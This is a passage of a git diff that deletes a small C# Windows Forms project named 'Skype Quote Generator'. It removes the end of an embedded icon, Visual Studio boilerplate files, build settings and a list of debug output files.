-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAA////////////////////////////////////////////////////////
-        /////////////////////////////////////////////////////////////////AD/////////////
-        /////4AAD/////////////////wAAAH/////////////4AfwAAAAP///////////8AAAAAAAAB//////
-        /////wAAAAAAAAAH//////////gAAAAAAAAAAf/////////AAAAAAAAAAAD/////////AAAAAAAAAAAA
-        f////////AAAAAAAAAAAAD////////AAAAAAAAAAAAAf///////AAAAAAAAAAAAAD///////gAAAAAAA
-        AAAAAAf//////gAAAAAAAAAAAAAD//////wAAAAAAAAAAAAAA//////wAAAAAAAAAAAAAAH/////4AAA
-        AAAAAAAAAAAA/////8AAAAAAAAAAAAAAAP////+AAAAAAAAAAAAAAAB/////AAAAAAAAAAAAAAAAf///
-        /gAAAAAAAAAAAAAAAD////wAAAAAAAAAAAAAAAA////4AAAAAAAAAAAAAAAAP///8AAAAAAAAAAAAAAA
-        AB///+AAAAAAAAAAAAAAAAAf///gAAAAAAAAAAAAAAAAH///wAAAAAAAAAAAAAAAAB///4AAAAAAAAAA
-        AAAAAAAP//8AAAAAAAAAAAAAAAAAD///AAAAAAAAAAAAAAAAAA///gAAAAAAAAAAAAAAAAAP//4AAAAA
-        AAAAAAAAAAAAD//8AAAAAAAAAAAAAAAAAA///AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAAAAAAAAD//4
-        AAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAP//AAAAAAAAAAAAAAAAAAD//gAAAAAAAAAAAAAAAA
-        AA//4AAAAAAAAAAAAAAAAAAP/8AAAAAAAAAAAAAAAAAAH//AAAAAAAAAAAAAAAAAAB//wAAAAAAAAAAA
-        AAAAAAAf/4AAAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAD//gAAAAAAAAAAAAAAAAAA//4AAAAAA
-        AAAAAAAAAAAAP/8AAAAAAAAAAAAAAAAAAH//AAAAAAAAAAAAAAAAAAB//wAAAAAAAAAAAAAAAAAA//8A
-        AAAAAAAAAAAAAAAAAP//AAAAAAAAAAAAAAAAAAD//gAAAAAAAAAAAAAAAAAAf/4AAAAAAAAAAAAAAAAA
-        AH/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/4AAAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAA
-        AAAAAAB//gAAAAAAAAAAAAAAAAAAf/4AAAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//gAAAAAA
-        AAAAAAAAAAAAf/4AAAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/4A
-        AAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAA
-        AP//AAAAAAAAAAAAAAAAAAD//wAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA
-        AAAAAAD//gAAAAAAAAAAAAAAAAAA//wAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAH/+AAAAAAA
-        AAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAA//4AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAAAAAAAAD//AA
-        AAAAAAAAAAAAAAAAB//wAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAH//AAAAAAAAAAAAAAAAAA
-        D//wAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAf//AAAAAAAAAAAAAAAAAAH//wAAAAAAAAAAAA
-        AAAAAD//8AAAAAAAAAAAAAAAAAA///AAAAAAAAAAAAAAAAAAf//wAAAAAAAAAAAAAAAAAP//8AAAAAAA
-        AAAAAAAAAAD///AAAAAAAAAAAAAAAAAB///4AAAAAAAAAAAAAAAAA///+AAAAAAAAAAAAAAAAAP///gA
-        AAAAAAAAAAAAAAAH///4AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAB////wAAAAAAAAAAAAAAAA/
-        ///8AAAAAAAAAAAAAAAAP////gAAAAAAAAAAAAAAAH////4AAAAAAAAAAAAAAAD/////AAAAAAAAAAAA
-        AAAB/////wAAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAA//////gAAAAAAAAAAAAAAf/////8AAAAAA
-        AAAAAAAAP//////gAAAAAAAAAAAAAP//////8AAAAAAAAAAAAAH///////AAAAAAAAAAAAAH///////4
-        AAAAAAAAAAAAH////////AAAAAAAAAAAAH////////8AAAAAAAAAAAH/////////gAAAAAAAAAAH////
-        /////8AAAAAAAAAAP//////////wAAAAAAAAA///////////+AAAAAYAAH////////////8AAAAf////
-        ////////////wAAAf/////////////////wAB///////////////////////////////////////////
-        //////////////////////////////////8=
-</value>
-  </data>
-</root>
-\ No newline at end of file
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Program.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Program.cs
@@ -1,19 +0,0 @@
-using System;
-using System.Windows.Forms;
-
-namespace SkypeQuote
-{
-    static class Program
-    {
-        /// <summary>
-        /// The main entry point for the application.
-        /// </summary>
-        [STAThread]
-        static void Main()
-        {
-            Application.EnableVisualStyles();
-            Application.SetCompatibleTextRenderingDefault(false);
-            Application.Run(new Main());
-        }
-    }
-}
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/AssemblyInfo.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/AssemblyInfo.cs
@@ -1,36 +0,0 @@
-using System.Reflection;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-// General Information about an assembly is controlled through the following 
-// set of attributes. Change these attribute values to modify the information
-// associated with an assembly.
-[assembly: AssemblyTitle("Skype Quote Generator")]
-[assembly: AssemblyDescription("A tool to generate Skype quotes.")]
-[assembly: AssemblyConfiguration("")]
-[assembly: AssemblyCompany("SuperNets")]
-[assembly: AssemblyProduct("Skype Quote Generator")]
-[assembly: AssemblyCopyright("Copyright ©  2015 - SuperNets")]
-[assembly: AssemblyTrademark("SuperNets")]
-[assembly: AssemblyCulture("")]
-
-// Setting ComVisible to false makes the types in this assembly not visible 
-// to COM components.  If you need to access a type in this assembly from 
-// COM, set the ComVisible attribute to true on that type.
-[assembly: ComVisible(false)]
-
-// The following GUID is for the ID of the typelib if this project is exposed to COM
-[assembly: Guid("d1f9e552-3450-4593-a23f-ac68b5f0fef9")]
-
-// Version information for an assembly consists of the following four values:
-//
-//      Major Version
-//      Minor Version 
-//      Build Number
-//      Revision
-//
-// You can specify all the values or you can default the Build and Revision Numbers 
-// by using the '*' as shown below:
-// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("6.6.6.7")]
-[assembly: AssemblyFileVersion("6.6.6.7")]
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.Designer.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.Designer.cs
@@ -1,63 +0,0 @@
-//------------------------------------------------------------------------------
-// <auto-generated>
-//     This code was generated by a tool.
-//     Runtime Version:4.0.30319.42000
-//
-//     Changes to this file may cause incorrect behavior and will be lost if
-//     the code is regenerated.
-// </auto-generated>
-//------------------------------------------------------------------------------
-
-namespace SkypeQuote.Properties {
-    using System;
-    
-    
-    /// <summary>
-    ///   A strongly-typed resource class, for looking up localized strings, etc.
-    /// </summary>
-    // This class was auto-generated by the StronglyTypedResourceBuilder
-    // class via a tool like ResGen or Visual Studio.
-    // To add or remove a member, edit your .ResX file then rerun ResGen
-    // with the /str option, or rebuild your VS project.
-    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
-    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
-    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
-    internal class Resources {
-        
-        private static global::System.Resources.ResourceManager resourceMan;
-        
-        private static global::System.Globalization.CultureInfo resourceCulture;
-        
-        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
-        internal Resources() {
-        }
-        
-        /// <summary>
-        ///   Returns the cached ResourceManager instance used by this class.
-        /// </summary>
-        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
-        internal static global::System.Resources.ResourceManager ResourceManager {
-            get {
-                if (object.ReferenceEquals(resourceMan, null)) {
-                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SkypeQuote.Properties.Resources", typeof(Resources).Assembly);
-                    resourceMan = temp;
-                }
-                return resourceMan;
-            }
-        }
-        
-        /// <summary>
-        ///   Overrides the current thread's CurrentUICulture property for all
-        ///   resource lookups using this strongly typed resource class.
-        /// </summary>
-        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
-        internal static global::System.Globalization.CultureInfo Culture {
-            get {
-                return resourceCulture;
-            }
-            set {
-                resourceCulture = value;
-            }
-        }
-    }
-}
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.resx b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.resx
@@ -1,117 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<root>
-  <!-- 
-    Microsoft ResX Schema 
-    
-    Version 2.0
-    
-    The primary goals of this format is to allow a simple XML format 
-    that is mostly human readable. The generation and parsing of the 
-    various data types are done through the TypeConverter classes 
-    associated with the data types.
-    
-    Example:
-    
-    ... ado.net/XML headers & schema ...
-    <resheader name="resmimetype">text/microsoft-resx</resheader>
-    <resheader name="version">2.0</resheader>
-    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
-    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
-    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
-    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
-    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
-        <value>[base64 mime encoded serialized .NET Framework object]</value>
-    </data>
-    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
-        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
-        <comment>This is a comment</comment>
-    </data>
-                
-    There are any number of "resheader" rows that contain simple 
-    name/value pairs.
-    
-    Each data row contains a name, and value. The row also contains a 
-    type or mimetype. Type corresponds to a .NET class that support 
-    text/value conversion through the TypeConverter architecture. 
-    Classes that don't support this are serialized and stored with the 
-    mimetype set.
-    
-    The mimetype is used for serialized objects, and tells the 
-    ResXResourceReader how to depersist the object. This is currently not 
-    extensible. For a given mimetype the value must be set accordingly:
-    
-    Note - application/x-microsoft.net.object.binary.base64 is the format 
-    that the ResXResourceWriter will generate, however the reader can 
-    read any of the formats listed below.
-    
-    mimetype: application/x-microsoft.net.object.binary.base64
-    value   : The object must be serialized with 
-            : System.Serialization.Formatters.Binary.BinaryFormatter
-            : and then encoded with base64 encoding.
-    
-    mimetype: application/x-microsoft.net.object.soap.base64
-    value   : The object must be serialized with 
-            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
-            : and then encoded with base64 encoding.
-
-    mimetype: application/x-microsoft.net.object.bytearray.base64
-    value   : The object must be serialized into a byte array 
-            : using a System.ComponentModel.TypeConverter
-            : and then encoded with base64 encoding.
-    -->
-  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
-    <xsd:element name="root" msdata:IsDataSet="true">
-      <xsd:complexType>
-        <xsd:choice maxOccurs="unbounded">
-          <xsd:element name="metadata">
-            <xsd:complexType>
-              <xsd:sequence>
-                <xsd:element name="value" type="xsd:string" minOccurs="0" />
-              </xsd:sequence>
-              <xsd:attribute name="name" type="xsd:string" />
-              <xsd:attribute name="type" type="xsd:string" />
-              <xsd:attribute name="mimetype" type="xsd:string" />
-            </xsd:complexType>
-          </xsd:element>
-          <xsd:element name="assembly">
-            <xsd:complexType>
-              <xsd:attribute name="alias" type="xsd:string" />
-              <xsd:attribute name="name" type="xsd:string" />
-            </xsd:complexType>
-          </xsd:element>
-          <xsd:element name="data">
-            <xsd:complexType>
-              <xsd:sequence>
-                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
-                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
-              </xsd:sequence>
-              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
-              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
-              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
-            </xsd:complexType>
-          </xsd:element>
-          <xsd:element name="resheader">
-            <xsd:complexType>
-              <xsd:sequence>
-                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
-              </xsd:sequence>
-              <xsd:attribute name="name" type="xsd:string" use="required" />
-            </xsd:complexType>
-          </xsd:element>
-        </xsd:choice>
-      </xsd:complexType>
-    </xsd:element>
-  </xsd:schema>
-  <resheader name="resmimetype">
-    <value>text/microsoft-resx</value>
-  </resheader>
-  <resheader name="version">
-    <value>2.0</value>
-  </resheader>
-  <resheader name="reader">
-    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
-  </resheader>
-  <resheader name="writer">
-    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
-  </resheader>
-</root>
-\ No newline at end of file
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.Designer.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.Designer.cs
@@ -1,26 +0,0 @@
-//------------------------------------------------------------------------------
-// <auto-generated>
-//     This code was generated by a tool.
-//     Runtime Version:4.0.30319.42000
-//
-//     Changes to this file may cause incorrect behavior and will be lost if
-//     the code is regenerated.
-// </auto-generated>
-//------------------------------------------------------------------------------
-
-namespace SkypeQuote.Properties {
-    
-    
-    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
-    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
-    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
-        
-        private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
-        
-        public static Settings Default {
-            get {
-                return defaultInstance;
-            }
-        }
-    }
-}
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.settings b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.settings
@@ -1,7 +0,0 @@
-<?xml version='1.0' encoding='utf-8'?>
-<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
-  <Profiles>
-    <Profile Name="(Default)" />
-  </Profiles>
-  <Settings />
-</SettingsFile>
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj b/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj
@@ -1,116 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
-  <PropertyGroup>
-    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
-    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
-    <ProjectGuid>{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}</ProjectGuid>
-    <OutputType>WinExe</OutputType>
-    <AppDesignerFolder>Properties</AppDesignerFolder>
-    <RootNamespace>SkypeQuote</RootNamespace>
-    <AssemblyName>SkypeQuote</AssemblyName>
-    <TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
-    <FileAlignment>512</FileAlignment>
-    <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
-    <TargetFrameworkProfile />
-    <PublishUrl>publish\</PublishUrl>
-    <Install>true</Install>
-    <InstallFrom>Disk</InstallFrom>
-    <UpdateEnabled>false</UpdateEnabled>
-    <UpdateMode>Foreground</UpdateMode>
-    <UpdateInterval>7</UpdateInterval>
-    <UpdateIntervalUnits>Days</UpdateIntervalUnits>
-    <UpdatePeriodically>false</UpdatePeriodically>
-    <UpdateRequired>false</UpdateRequired>
-    <MapFileExtensions>true</MapFileExtensions>
-    <ApplicationRevision>0</ApplicationRevision>
-    <ApplicationVersion>1.0.0.%2a</ApplicationVersion>
-    <IsWebBootstrapper>false</IsWebBootstrapper>
-    <UseApplicationTrust>false</UseApplicationTrust>
-    <BootstrapperEnabled>true</BootstrapperEnabled>
-  </PropertyGroup>
-  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
-    <PlatformTarget>AnyCPU</PlatformTarget>
-    <DebugSymbols>true</DebugSymbols>
-    <DebugType>full</DebugType>
-    <Optimize>false</Optimize>
-    <OutputPath>bin\Debug\</OutputPath>
-    <DefineConstants>DEBUG;TRACE</DefineConstants>
-    <ErrorReport>prompt</ErrorReport>
-    <WarningLevel>4</WarningLevel>
-    <UseVSHostingProcess>false</UseVSHostingProcess>
-  </PropertyGroup>
-  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
-    <PlatformTarget>AnyCPU</PlatformTarget>
-    <DebugType>pdbonly</DebugType>
-    <Optimize>true</Optimize>
-    <OutputPath>bin\Release\</OutputPath>
-    <DefineConstants>TRACE</DefineConstants>
-    <ErrorReport>prompt</ErrorReport>
-    <WarningLevel>4</WarningLevel>
-  </PropertyGroup>
-  <PropertyGroup>
-    <ApplicationIcon>skype.ico</ApplicationIcon>
-  </PropertyGroup>
-  <ItemGroup>
-    <Reference Include="System" />
-    <Reference Include="System.Data" />
-    <Reference Include="System.Deployment" />
-    <Reference Include="System.Drawing" />
-    <Reference Include="System.Windows.Forms" />
-  </ItemGroup>
-  <ItemGroup>
-    <Compile Include="Main.cs">
-      <SubType>Form</SubType>
-    </Compile>
-    <Compile Include="Main.Designer.cs">
-      <DependentUpon>Main.cs</DependentUpon>
-    </Compile>
-    <Compile Include="Program.cs" />
-    <Compile Include="Properties\AssemblyInfo.cs" />
-    <EmbeddedResource Include="Main.resx">
-      <DependentUpon>Main.cs</DependentUpon>
-    </EmbeddedResource>
-    <EmbeddedResource Include="Properties\Resources.resx">
-      <Generator>ResXFileCodeGenerator</Generator>
-      <LastGenOutput>Resources.Designer.cs</LastGenOutput>
-      <SubType>Designer</SubType>
-    </EmbeddedResource>
-    <Compile Include="Properties\Resources.Designer.cs">
-      <AutoGen>True</AutoGen>
-      <DependentUpon>Resources.resx</DependentUpon>
-      <DesignTime>True</DesignTime>
-    </Compile>
-    <None Include="ClassDiagram1.cd" />
-    <None Include="Properties\Settings.settings">
-      <Generator>SettingsSingleFileGenerator</Generator>
-      <LastGenOutput>Settings.Designer.cs</LastGenOutput>
-    </None>
-    <Compile Include="Properties\Settings.Designer.cs">
-      <AutoGen>True</AutoGen>
-      <DependentUpon>Settings.settings</DependentUpon>
-      <DesignTimeSharedInput>True</DesignTimeSharedInput>
-    </Compile>
-  </ItemGroup>
-  <ItemGroup>
-    <None Include="App.config" />
-  </ItemGroup>
-  <ItemGroup>
-    <Content Include="skype.ico" />
-  </ItemGroup>
-  <ItemGroup>
-    <BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
-      <Visible>False</Visible>
-      <ProductName>.NET Framework 3.5 SP1</ProductName>
-      <Install>true</Install>
-    </BootstrapperPackage>
-  </ItemGroup>
-  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
-  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
-       Other similar extension points exist, see Microsoft.Common.targets.
-  <Target Name="BeforeBuild">
-  </Target>
-  <Target Name="AfterBuild">
-  </Target>
-  -->
-</Project>
-\ No newline at end of file
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj.user b/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj.user
@@ -1,13 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <PropertyGroup>
-    <PublishUrlHistory>publish\</PublishUrlHistory>
-    <InstallUrlHistory />
-    <SupportUrlHistory />
-    <UpdateUrlHistory />
-    <BootstrapperUrlHistory />
-    <ErrorReportUrlHistory />
-    <FallbackCulture>en-US</FallbackCulture>
-    <VerifyUploadedFiles>false</VerifyUploadedFiles>
-  </PropertyGroup>
-</Project>
-\ No newline at end of file
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe.config b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe.config
@@ -1,6 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<configuration>
-    <startup> 
-        
-    <supportedRuntime version="v2.0.50727"/></startup>
-</configuration>
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.pdb b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.pdb
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.config b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.config
@@ -1,6 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<configuration>
-    <startup> 
-        
-    <supportedRuntime version="v2.0.50727"/></startup>
-</configuration>
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.manifest b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.manifest
@@ -1,11 +0,0 @@
-<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
-<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
-  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
-  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
-    <security>
-      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
-        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
-      </requestedPrivileges>
-    </security>
-  </trustInfo>
-</assembly>
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferences.cache b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferences.cache
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Main.resources b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Main.resources
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Properties.Resources.resources b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Properties.Resources.resources
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.FileListAbsolute.txt b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.FileListAbsolute.txt
@@ -1,9 +0,0 @@
-c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\bin\Debug\SkypeQuote.exe.config
-c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\bin\Debug\SkypeQuote.exe
-c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\bin\Debug\SkypeQuote.pdb
-c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.csprojResolveAssemblyReference.cache
-c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.Main.resources
-c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.Properties.Resources.resources
-c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.csproj.GenerateResource.Cache
-c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.exe
-c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.pdb
